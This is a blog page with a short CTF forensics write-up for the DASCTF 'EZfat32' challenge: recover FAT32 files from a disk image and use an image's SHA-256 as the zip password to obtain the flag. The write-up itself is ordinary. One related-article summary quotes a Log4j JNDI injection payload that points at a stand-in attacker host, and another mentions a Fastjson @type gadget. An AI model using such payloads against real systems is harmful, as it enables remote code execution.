DASCTF misc EZfat32

keNn9s keNn9s 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 500+累计阅读 528平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄5年
关注
原创 最新推荐文章于 2026-11-12 19:13:54 发布 528 阅读 AI 写同款· GEO 优化 ›
隐藏在人群中的Flag，你能找到吗？ 题目描述：工业网络中存在异常，尝试通过分析PCAP流量包，分析出流量数据中的异常点，并拿到FLAG。 打开流量包，发现存在PRES、TCP、COTP、MMS协议的流量，其中选择一个数据包，追踪TCP流发现存在关键字flag.txt，如图所示： 然而通过多次分析与flag.txt相对应的流量包中，没有发现flag.txt的内容。 于是换一个思路，对流量包进行关键字（jpg、png、zip、rar、flag）搜索，查看是否存在其他的文件。使用以下代码进行关键字搜索,发现存在base64加密的png图片 阅读详情

到手以后是这个文件，直接用取证大师挂fs.img

然后用FAT32高级数据恢复，恢复出两种文件

导出第一个图片

然后查看TXT文件

他说压缩包密码是这个图片的sha256

然后计算图片的sha256

解密压缩包拿到flag

注意flag头是大写

收录于
misc

当前文章被收录于：

misc
9 篇文章 0 人学习

misc菜鸟的学习过程

订阅专栏 查看详情
标签
#网络安全 #笔记 #经验分享
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
加速上手·笔记 小宇在浩然协助下仅用半天便完成两款可玩游戏，包括经典打砖块的复刻与优化。他提出加入稀有金色砖块以提升趣味性，仅需一句具体指令，系统即自动更新并实现效果。通过“先完成、再迭代”的循环模式，他体会到创作的自由与成就感。文件树中悄然多了两个项目，激发了无限创作欲——原来，创造从未如此简单而令人上瘾。 阅读详情

相关推荐

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样：先画中心对齐的100×100矩形草图，再在偏移100的基准面上绘制圆，最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点，实现矩形→圆→矩形的平滑过渡，注意连接点位置避免扭曲。

Txwtech 51

DASCTF7月misc--ez_forenisc

取证大师解bitlocker（也可以先将vmdk转换为其他passware可以识别的格式，直接通过内存镜像解出一个解密的镜像）查看内容发现密文，看着像base64，但是base64可不需要密钥啊，那么就有可能是AES了。有密钥那就有密文，继续分析内存文件，扫描文件时发现一个文件thes3cret。passware解析内存镜像，得到用户名密码550f37c7748e。压缩包有密码，密码就是之前得到的用户密码，解压得到内容。观察发现没有大于8的数字，判断是8进制，转换一下输出。预览发现是压缩包，直接导出文件。.

WXjzcccc的博客 1038

果蔬及菜品识别系统

果蔬及菜品识别系统

我的博客 2122

【Web】DASCTF 2023 & 0X401七月暑期挑战赛题解

让俺看看401web题。

uuzeray的博客 1910

记录一下本地部署Dify的坑

1. 截止2025-3-4为止，请注意，不要直接拉Dify的1.0.0版本。请先试用0.15.3版本。1.0.0有一个bug需要解决。3. 请使用docker-ce 新版本，docker-engine等老版本可能会有部分容器启动脚本执行莫名报错。2. 注意，请使用docker-compose V2版本，或者V1较高版本，否则会导致解析官方yml模板错误。

哈利路亚的收藏夹 5346

VS2022+Qt6保姆级配置指南：从插件安装到项目互通全流程（附常见错误解决）

本文提供了一份详细的Visual Studio 2022与Qt6集成开发环境配置指南。从插件安装、环境搭建到项目创建与互通，涵盖了全流程操作步骤，并针对常见的配置错误和调试问题提供了实用的解决方案，帮助开发者高效构建企业级桌面应用。

nginx7reverse的博客 1208

DASCTF X BUU DASCTF2021 misc all WP

去******的猜******????****** MISC WP 签到： flag{welcome_to_dasctf_may} Holmes： 文件尾有rar，分离出来发现加了密，然鹅图片上面又有跳舞小人 对应解码，得到密码 YOUAREHOLMES 得到一个flag.py flag="flag{********************************}" encflag=[] for i in range(len(flag)): encflag.append((ord(fla

mumuzi的博客 4183

电路仿真软件PSIM简介

PSIM的基本使用操作...

qq_55203246的博客 7183

Jackson 序列化 / 反序列化注解 完整版笔记

Jackson 序列化 / 反序列化注解 完整版笔记

handsome_sai的博客 303

gtsam官方文档: The new IMU Factor学习笔记

gtsam官方文档：The new IMU Factor 本文为gtsam imu预积分文档学习笔记，为gtsam基于切向量实现的imu预积分的理论基础。 导航状态 定义导航状态为 Xbn={Rbn,Pbn,Vbn}X^n_b=\{R^n_b,P^n_b,V^n_b\}Xbn​={Rbn​,Pbn​,Vbn​} 上角标n：导航(navigation)坐标系 下角标b：载体(body)坐标系 下文均省略上下标 矢量场与微分方程 对于导航问题我们用如下微分方程描述 X˙(t)=F(t,X)\dot X(t)

南柯一梦的博客 1612

电磁兼容（EMC）整改案例（七）：EFT测试失败都是IC悬空引脚惹的祸

无论任何时候，为了避免这些问题，通常建议对悬空的IO口进行适当的配置，比如设置为强推挽输出低电平、输入带上拉或下拉电阻等，以减少外部电路对IO管脚状态的影响，并提高系统的稳定性和可靠性.

linkking27的博客 1032

[学习笔记]超越超级大循环与原生RTOS：事件驱动架构如何改变嵌入式固件的可扩展性

RTC：事件处理器一旦开始，全部状态迁移、进出动作、输出事件必须全部执行完毕才返回；同一个组件，当前处理没结束，不会开始下一条事件。这不是架构给状态机额外施加的限制，这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断，状态机会停留在未定义的中间状态。RTC保证两次事件之间，状态机永远处于明确定义的合法状态，便于分析与测试。

MiKiJT的博客 216

【Win10/11】Windows电脑WiFi显示小地球/断网的解决方法 Windows WiFi小地球、网络连接中断、网络重置、无线网卡驱动、Win10/Win11网络修复

最近经常有粉丝留言问我，Windows 电脑突然连不上 WiFi，右下角网络图标显示成了“小地球 🌐”，或者干脆提示“未连接 - 没有可用的连接”。明明其他设备网络都正常，唯独自己的电脑断了。作为在互联网大厂混迹多年的前端程序员，我自己也碰到过这个问题。总结几种比较常见、亲测有效的解决方法，写出来供大家参考，希望能帮你快速恢复上网！问题原因推荐解决方法系统设置错乱使用网络重置功能驱动异常或冲突卸载后重启自动安装驱动驱动版本过旧手动更新网卡驱动实在不行考虑使用系统还原点或重装系统这几个方法中，

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用，接口、架构、性能全搞定。 3851

闪光灯笔记

主体后常亮补光，相机快门速度两秒，相机固定在三脚架上，让主体保持不动，按下快门之后主体周围晃动灯棒。特点：人物清晰，背景车流灯光拖在人物身后，氛围感强，就是 A7R3 + 神牛外帘同步的目标效果。总时长 = 8÷10=0.8s 👉 A7R3 相机：M 档，快门 1s，f/8，ISO100。上图：前帘同步，车向前行驶，光轨跑到车头前面，看着很怪。例：6 次，4Hz → 6÷4=1.5s → 相机快门设置≥1.5s，推荐 2s。缺点（慢速快门拍运动物体）：闪光先把人定住，之后人物继续移动，在传感器上，

oDianZi1234567的博客 302

【雕爷学编程】Arduino智慧交通之RF24通信实现车队之间的实时通信和协调

通过这些示例，车队领导可以发送指令给车队成员，车队成员可以接收指令并执行相应的操作，同时车队成员也可以发送自己的位置信息给车队领导或其他成员，以实现车队之间的实时通信和协调。例如，在高速公路上，车队中的车辆可以根据前方车辆的速度和位置信息，自动调整自身的速度和距离，以保持车队的整体稳定和安全。Arduino智慧交通系统利用RF24通信模块实现车队之间的实时通信和协调，通过无线通信技术，车辆之间可以实时传输数据和指令，以实现车队的协同行驶和交通优化。通过数据处理和分析，可以生成实时的交通信息和统计数据。

雕爷学编程 1075

文档：亲测可用解决vnc灰屏，黑屏，鼠标大黑叉情况

主要解决vnc-viewer灰屏，黑屏，鼠标大黑叉等现象，详细见文档。

排序算法深度笔记（下）：非比较类排序的线性突破与工程边界

排序算法时间复杂度额外空间复杂度稳定性是否基于比较选择排序O(N^2)(O(1))不稳定是冒泡排序O(N^2)(O(1))稳定是插入排序O(N^2)(O(1))稳定是归并排序O(N\log N)(O(N))稳定是快速排序O(N\log N)O(log N)不稳定是堆排序O(N\log N)O(1)不稳定是计数排序(O(N + M))O(M))稳定否基数排序O(N)稳定否桶排序平均O(N) / 最坏O(N^2)

2401_87069538的博客 601

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册，内含HL7和ASTM)

【LTE L3 笔记 10】LTE物理信道-PUCCH、PUSCH

课程来源：B站《【2022】华为HCIA-LTE无线工程师认证学习中级视频》笔记为个人整理，含课件截图，仅供学习交流。

lyouhuan的博客 183

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明，包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行，攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制，诱导目标向恶意LDAP服务器请求并加载远程类，最终执行命令（如弹出计算器）。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性，当用户输入可控的{"@type":"com.xiaodi.Run"}时，自动加载并实例化恶

一支蜉蝣的博客 212

Java 多态 学习笔记

多态是面向对象编程的重要特性，指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”，结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展，如用Person p = new Student();统一处理各类人员注册，无需修改调用逻辑。但多态无法直接调用子类特有方法，需通过instanceof判断并强制转换。编译时看左边（类型），运行时看右边（实际对象），实现解耦与维护便利。

AA_AA114514的博客 367

Arduino-MEGA-ESP单片机理论课笔记-06温湿度-07时间-延时定时-2026

本文解析了DHT11温湿度传感器的Arduino代码，逐行讲解了库引入、引脚定义、传感器初始化及数据读取流程。重点说明了delay(1000)导致阻塞的问题，并提出使用millis()实现非阻塞定时，将采样间隔改为2秒，提升程序响应性。同时建议增加isnan()错误检测、优化串口输出格式，确保数据稳定可靠。

zhangrelay的专栏 363

#SQLite 数据库笔记一：（概念 / 终端指令 / SQL 语句 / C 编程 / 回调函数）

数据库 = 数据的仓库，假设数据是海量。能力说明存储数据持久化保存，程序退出数据还在统计数据、分组、排序数据管理增、删、改、查（CRUD）嵌入式设备上也会用数据库（单片机网关、路由器、工业 HMI 都常见），因为 sqlite 体积小、无需服务进程、单文件即可。数据库 = 库 > 表 > 记录(行) > 字段(列)sqlite3 = 开源、C 写的、单文件、免安装、最多 2T 的嵌入式关系型数据库。

lwq20051110的博客 251

【笔记】svn冲突处理

在BC三向合并界面中，左窗为基准版本（Base），中窗为本地修改（Mine），右窗为服务器最新版（Theirs），底窗为合并结果（Merged）。红色区块表示冲突，需手动处理；蓝色为本地变更，品红为服务器变更，前者建议处理，后者自动合并。处理冲突时，分别复制本地与服务器代码至合并区，按逻辑排序，确认无误后标记为已解决，并保存文件。最后在TortoiseSVN中标记为已解决并提交，确保所有红色区块消除，实现代码顺利合并。

qq_23314263的博客 163

本地笔记的持久化：选区锚点、条目关联与内容升级时的迁移

离线典籍类应用里，读者产生的数据常常被当作附属功能处理：选中一句话、写两句理解，看起来只是往数据库里插一行。真正麻烦的是这些数据必须与正文长期对齐——正文会随内容包升级而变动，而用户写下的东西不能跟着失效。本文以一款纯本地运行的鸿蒙知识库为例，记录实现侧几个容易踩坑的取舍，与检索链路无关。

m0_61869851的博客 199

CentOS7-Elasticsearch8.15.3-Kibana8.15.3-安装部署笔记

Token 有效期只有 30 分钟，请保存好输出的 base64 字符串并尽快完成 Kibana 对接；本文整理自单机离线部署实践，适用于 CentOS 7 + Elasticsearch/Kibana 8.15.3 场景。只对新登录的会话生效，修改后需重新连接 SSH。结尾，其中包含 elastic 用户初始密码、HTTP 层证书等信息。等字段的集群 JSON 信息，即说明账号、HTTPS、证书均正常。安装成功后，终端会打印安全自动配置结果，以。按交互提示输入两次自定义密码。，保存后重启服务器生效。

遇见bug的博客 172

正则表达式学习笔记 02：基础语法

正则表达式是描述字符匹配规则的迷你语言，由普通字符和元字符组成。普通字符直接匹配自身，而元字符如.、*、+、^、$等具有特殊含义，用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类（如\d）、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意，若要匹配元字符本身，必须使用转义符\。例如，\.可匹配字面点号。

菜鸟的专栏 189

[LangChain] 学习笔记（08）：工具调用底层闭环与第三方搜索（Tavily）实战

大模型通过工具调用实现外部能力扩展：模型返回tool_calls，开发者本地执行后将结果以ToolMessage形式追加至对话历史，再由模型生成最终回答。关键闭环在于状态追加，否则会陷入死循环。借助LangChain生态如TavilySearch，可轻松接入联网搜索，突破知识时效限制。注意避免invalid_tool_call_id错误，确保消息历史完整；网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 366
上一篇： 2022蓝帽杯初赛
下一篇： 2022长安杯复盘
点赞 0
评论 0
书签 书签 0
keNn9s
keNn9s
博客等级 码龄5年 58粉丝 19原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值